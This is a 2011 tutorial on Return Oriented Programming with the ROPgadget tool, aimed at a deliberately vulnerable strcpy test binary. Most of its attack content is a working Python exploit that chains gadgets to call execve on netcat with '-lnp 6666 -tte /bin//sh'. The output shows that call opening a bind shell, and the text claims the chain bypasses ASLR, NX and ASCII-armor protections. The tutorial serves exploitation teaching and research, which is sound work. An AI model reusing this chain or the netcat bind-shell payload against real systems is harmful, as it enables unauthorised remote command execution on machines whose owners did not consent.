Return Oriented Programming and ROPgadget tool
by @Jonathan Salwan - 2011-04-12Introduction
In recent years, application exploits, especially buffer overflows, are made more difficult by protections implemented by operating systems. And as a fact, it's increasingly rare to execute arbitrary code on the stack. There are techniques to circumvent NX but these are useless if the libc functions are protected by the ASCII-ARMOR.
However, there is an attachment technique that allows to bypass all these protections. This technique is ROP (Return Oriented Programming). This type of attack that is extremely boring enough to realize, consists in chaining together sequences of instructions called "gadget" in order to change the registers status and execute a system call or perform any other function.
Generally, ROP is used to call execve() but here, in our case, we will try to build an execve like this:
#include <stdio.h> #include <unistd.h> int main() { char *env[1] = {NULL}; char *arguments[7]= { "/usr/bin//nc", "-lnp", "6666", "-tte", "/bin//sh", NULL }; execve("/usr/bin/nc", arguments, env); }
First of all, to reproduce the system call execve() we must know its convention.
We are on Linux x86 32 bits
jonathan@ArchLinux [/] $ cat /usr/include/asm/unistd_32.h | grep execve #define __NR_execve 11 jonathan@ArchLinux [/] $ EAX = 11 EBX = "/usr/bin/nc" (char *) ECX = arguments (char **) EDX = env (char **)
How to find the gadgets ?
Now we can use the ROPgadget tool. ROPgadget is a tool to find some gadgets in your binary. If you want you can also add others gadgets.
ROPgadget is available here http://www.shell-storm.org/project/ROPgadget/
Take for example the famous code that everyone uses to make their tests. Here, the binary is compiled in static, for a wide range of gadgets.
#include <string.h> int main(int argc, char **argv) { char buff[32]; if (argc >= 2) strcpy(buff, argv[1]); return (0); }
Now, we use ROPgadget to know the addresses of our gadgets.
jonathan@ArchLinux [rop] $ ROPgadget -g main Header informations ============================================================ phoff 0x00000034 shoff 0x0007de7c phnum 0x00000005 (5) shnum 0x0000001a (26) phentsize 0x00000020 shstrndx 0x00000017 entry 0x08048130 LOAD vaddr 0x08048000 LOAD offset 0x00000000 Gadgets informations ============================================================ 0x080481c7: pop %ebx | pop %ebp | ret 0x080481c8: pop %ebp | ret 0x08048224: call *%eax 0x0804847e: mov %ebp,%esp | pop %ebp | ret 0x0804868f: int $0x80 0x0804874b: pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x08049241: pop %ebx | pop %esi | pop %ebp | ret 0x0804a26b: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x0804b6a5: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x0804c7ab: xor %eax,%eax | pop %ebx | pop %ebp | ret 0x0804d00e: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x0804dafd: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x0804f1e9: xor %eax,%eax | pop %ebx | ret 0x0804f70c: inc %eax | pop %edi | ret 0x080505b8: pop %esi | pop %ebx | pop %edx | ret 0x080505e0: pop %edx | pop %ecx | pop %ebx | ret 0x08056e94: xor %eax,%eax | leave | ret 0x08057dc0: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x08057e91: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret 0x080632a8: mov %ecx,(%ebx) | add $0x8,%esp | pop %ebx | pop %esi | pop %ebp | ret 0x080635d5: mov %ecx,(%edx) | add $0x8,%esp | pop %ebx | pop %ebp | ret 0x080636ef: add %ebx,%eax | pop %ebx | pop %ebp | ret 0x08064c51: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret 0x08066a1d: mov %ebx,%eax | pop %ebx | pop %ebp | ret 0x08068f82: mov %eax,(%ecx) | pop %ebp | ret 0x08069cda: xor %eax,%eax | pop %edi | ret 0x08069d24: xor %eax,%eax | ret 0x08069fa6: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x0806a8e7: mov %eax,%edi | mov %edi, %eax | pop %edi | pop %ebp | ret 0x0806ad27: inc %eax | pop %edi | pop %esi | ret 0x0806adcd: inc %eax | inc %eax | inc %eax | ret 0x0806adce: inc %eax | inc %eax | ret 0x0806adcf: inc %eax | ret 0x0806fd96: mov (%edx),%eax | mov (%esp), %ebx | mov %ebp,%esp | pop %ebp | ret 0x08079531: mov %eax,(%edx) | ret 0x08084c91: sub $0x1,%eax | pop %ebx | pop %esi | pop %ebp | ret 0x080850b8: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret 0x080850ba: pop %eax | pop %ebx | pop %esi | pop %edi | ret 0x080850c1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret 0x080a71ac: pop %ecx | pop %ebx | leave | ret Total gadgets: 42/46 jonathan@ArchLinux [rop] $
As you can see these gadgets are in the .text section of an ELF binary and thus are unaffected by the ASLR and NX.
We don't need all these gadgets, only 6 or 7 will be useful.
We will need:
- @.data (@ of .data for to place some strings)
- int $0x80 (for execute our payload)
- mov %eax,(%ecx) | pop %ebp | ret (for mov eax into buffer)
- inc %eax | ret (for increment eax to up to 11)
- pop %edx | pop %ecx | pop %ebx | ret (for pop address)
- pop %eax | pop %ebx | pop %esi | pop %edi | ret (here just pop %eax will be useful)
- xor %eax,%eax | ret (for put %eax to zero)
Diagram of exploitation and ROP operation
Imagine the following gadgets: - xor %eax,%eax; ret 0x08041111 - inc %eax; ret 0x08042222 - pop %ebx; pop %ecx; ret 0x08043333 Before the buffer overflow the registers are: %eax 0xbfffff53 %ebx 0x080482a3 %ecx 0x13 The objective is to set the following registers: %eax 0x4 %ebx 0x41424344 %ecx 0x44434241 Your payload is as follows: [NOP X size][SEBP][SEIP] [0x90 xsize][0x41414141][0x08041111][0x08042222][0x08042222] [0x08042222][0x08042222][0x08043333][0x41424344][0x44434241] STACK +---------+ 0xbfffe51c: 0x08048d70 0xbfffe530 0xbfffe9a2 0x00000000 0xbfffe52c: 0x00000000 0x63756f74 0x616c2068 0x69767473 +------- Address of your buffer. (tab[0]) v 0xbfffe53c: 0x5f746973 0x90909020 0x90909090 0x90909090 0xbfffe54c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe55c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe56c: 0x90909090 0x90909090 0x90909090 0x90909090 +----------+ | .text + +----------+ +----------------------1------------>|0x08041111| xor %eax,%eax | +------------2------------<|0x08041113| ret | | |..........| | | +---------------1------>|0x08042222| inc %eax | | | +-----2------<|0x08042223| ret | | | | |..........| Saved ebp ----+ | | | | v ^ v ^ v 0xbfffe57c: 0x90909090 0x08041111 0x08042222 0x08042222 0xbfffe58c: 0x08042222 0x08042222 +----------+ | .text + +----------+ +--------------------------------------------1--->|0x08043333| | +-------------------------------2---<|0x08043333| pop %ebx | | +------------------3---<|0x08043334| pop %ecx | | | +------4---<|0x08043335| ret | P P | |..........| | O O | | P P | | | | | ^ v v v 0xbfffe594: 0x08043333 0x41424344 0x44434241
All the above diagram is an example for demonstration.
Now, make an exploit for the "main" binary:
#!/usr/bin/env python2 from struct import pack EDAX0 = pack("<I", 0x08050a88) STACK = pack("<I", 0x080c6961) # .data 0x740 0x80c6620 INT80 = pack("<I", 0x0804868f) # int $0x80 MOVISTACK = pack("<I", 0x08068f82) # mov %eax,(%ecx) | pop %ebp | ret INCEAX = pack("<I", 0x0806adcf) # inc %eax | ret POPALL = pack("<I", 0x080505e0) # pop %edx | pop %ecx | pop %ebx | ret POPEAX = pack("<I", 0x080850ba) # pop %eax | pop %ebx | pop %esi | pop %edi | ret XOREAX = pack("<I", 0x08069d24) # xor %eax,%eax | ret DUMMY = pack("<I", 0x42424242) # padding buff = "\x42" * 32 buff += "BBBB" buff += POPALL # it's via %ecx we will build our stack. buff += DUMMY # padding buff += STACK # %ecx contain the stack address. buff += DUMMY # padding buff += POPEAX # Lets put content in an address buff += "/usr" # put "/usr" in %eax buff += DUMMY # padding buff += DUMMY # padding buff += DUMMY # padding buff += MOVISTACK # put "/usr" in stack address buff += DUMMY # padding buff += POPALL buff += DUMMY # padding buff += pack("<I", 0x080c6961 + 4) # we change our stack for to point after "/usr" buff += DUMMY # padding buff += POPEAX # Applying the same for "/bin" buff += "/bin" buff += DUMMY # padding buff += DUMMY # padding buff += DUMMY # padding buff += MOVISTACK # we place "/bin" after "/usr" buff += DUMMY # padding buff += POPALL buff += DUMMY # padding buff += pack("<I", 0x080c6961 + 8) # we change our stack for to point after "/usr/bin" buff += DUMMY # padding buff += POPEAX # Applying the same for "//nc" buff += "//nc" buff += DUMMY # padding buff += DUMMY # padding buff += DUMMY # padding buff += MOVISTACK # we place "//nc" after "/usr/bin" buff += DUMMY # padding buff += POPALL buff += DUMMY # padding buff += pack("<I", 0x080c6961 + 13) # we change our stack for to point after "/usr/bin//nc"+1 # to leave a \0 between arguments buff += DUMMY # padding # we repeated operation for each argument buff += POPEAX buff += "-lnp" buff += DUMMY buff += DUMMY buff += DUMMY buff += MOVISTACK buff += DUMMY buff += POPALL buff += DUMMY buff += pack("<I", 0x080c6961 + 18) buff += DUMMY buff += POPEAX buff += "6666" buff += DUMMY buff += DUMMY buff += DUMMY buff += MOVISTACK buff += DUMMY buff += POPALL buff += DUMMY buff += pack("<I", 0x080c6961 + 23) buff += DUMMY buff += POPEAX buff += "-tte" buff += DUMMY buff += DUMMY buff += DUMMY buff += MOVISTACK buff += DUMMY buff += POPALL buff += DUMMY buff += pack("<I", 0x080c6961 + 28) buff += DUMMY buff += POPEAX buff += "/bin" buff += DUMMY buff += DUMMY buff += DUMMY buff += MOVISTACK buff += DUMMY buff += POPALL buff += DUMMY buff += pack("<I", 0x080c6961 + 32) buff += DUMMY buff += POPEAX buff += "//sh" buff += DUMMY buff += DUMMY buff += DUMMY buff += MOVISTACK buff += DUMMY # # We currently have our list of elements separated by \0 # Now we must construct our char ** # # 0x80c6961 <_IO_wide_data_1+1>: "/usr/bin//nc" # 0x80c696e <_IO_wide_data_1+14>: "-lnp" # 0x80c6973 <_IO_wide_data_1+19>: "6666" # 0x80c6978 <_IO_wide_data_1+24>: "-tte" # 0x80c697d <_IO_wide_data_1+29>: "/bin//sh" # 0x80c6986 <_IO_wide_data_1+38>: "" # buff += POPALL buff += DUMMY # padding buff += pack("<I", 0x080c6961 + 60) # stack address buff += DUMMY # padding buff += POPEAX buff += pack("<I", 0x080c6961) # @ of "/usr/bin//nc" buff += DUMMY # padding buff += DUMMY # padding buff += DUMMY # padding buff += MOVISTACK # we place address of "/usr/bin//nc" in our STACK buff += DUMMY # padding buff += POPALL buff += DUMMY # padding buff += pack("<I", 0x080c6961 + 64) # we shift our Stack Pointer + 4 for the second argument buff += DUMMY # padding buff += POPEAX buff += pack("<I", 0x080c696e) # @ of "-lnp" buff += DUMMY # padding buff += DUMMY # padding buff += DUMMY # padding buff += MOVISTACK # we place address of "-lnp" in our STACK buff += DUMMY # padding buff += POPALL buff += DUMMY # padding buff += pack("<I", 0x080c6961 + 68) # we shift our Stack Pointer + 4 for the 3rd argument buff += DUMMY # padding buff += POPEAX buff += pack("<I", 0x080c6973) # @ of "6666" buff += DUMMY # padding buff += DUMMY # padding buff += DUMMY # padding buff += MOVISTACK # we palce address of "6666" in our STACK buff += DUMMY # padding buff += POPALL buff += DUMMY # padding buff += pack("<I", 0x080c6961 + 72) # we shift our Stack Pointer + 4 for the 4th argument buff += DUMMY # padding buff += POPEAX buff += pack("<I", 0x80c6978) # @ of "-tte" buff += DUMMY # padding buff += DUMMY # padding buff += DUMMY # padding buff += MOVISTACK # we place address of "-tte" in our STACK buff += DUMMY # padding buff += POPALL buff += DUMMY # padding buff += pack("<I", 0x080c6961 + 76) # we shift our Stack Pointer + 4 for the 5th argument buff += DUMMY # padding buff += POPEAX buff += pack("<I", 0x80c697d) # @ of "/bin//sh" buff += DUMMY # padding buff += DUMMY # padding buff += DUMMY # padding buff += MOVISTACK # we place address of "/bin//sh" in our STACK buff += DUMMY # padding # # Now we must implement eax to contain the address of # the execve syscall. # execve = 0xb # buff += XOREAX # %eax is put to zero. buff += INCEAX * 11 # %eax is now 0xb buff += POPALL # last pop buff += pack("<I", 0x080c6961 + 48) # edx char *env buff += pack("<I", 0x080c6961 + 60) # ecx char **arguments buff += pack("<I", 0x080c6961) # ebx "/usr/bin//nc" buff += INT80 # we execute print buff
When "int 0x80" is called our stack and our registers are following:
EAX: 0000000B EBX: 080C6961 ECX: 080C699D EDX: 080C6991 ESI: 42424242 EDI: 42424242 EBP: 42424242 ESP: BFFFF82C EIP: 42424242 gdb$ x/6s $ebx 0x80c6961 <_IO_wide_data_1+1>: "/usr/bin//nc" 0x80c696e <_IO_wide_data_1+14>: "-lnp" 0x80c6973 <_IO_wide_data_1+19>: "6666" 0x80c6978 <_IO_wide_data_1+24>: "-tte" 0x80c697d <_IO_wide_data_1+29>: "/bin//sh" 0x80c6986 <_IO_wide_data_1+38>: "" 0x80c699d <_IO_wide_data_1+61>: 0x080c6961 0x80c69a1 <_IO_wide_data_1+65>: 0x080c696e 0x80c69a5 <_IO_wide_data_1+69>: 0x080c6973 0x80c69a9 <_IO_wide_data_1+73>: 0x080c6978 0x80c69ad <_IO_wide_data_1+77>: 0x080c697d 0x80c69b1 <_IO_wide_data_1+81>: 0x00000000 jonathan@ArchLinux [rop] $ ./main $(./exploit.py) jonathan@ArchLinux [/] $ netcat 127.0.0.1 6666 ls exploit.py main main.c
That's all, the exploit bypasses ASLR, NX & ASCII-ARMOR and makes a remote connection. The ROP is extremely powerful and stable but as you can see, it is also quite heavy to implement.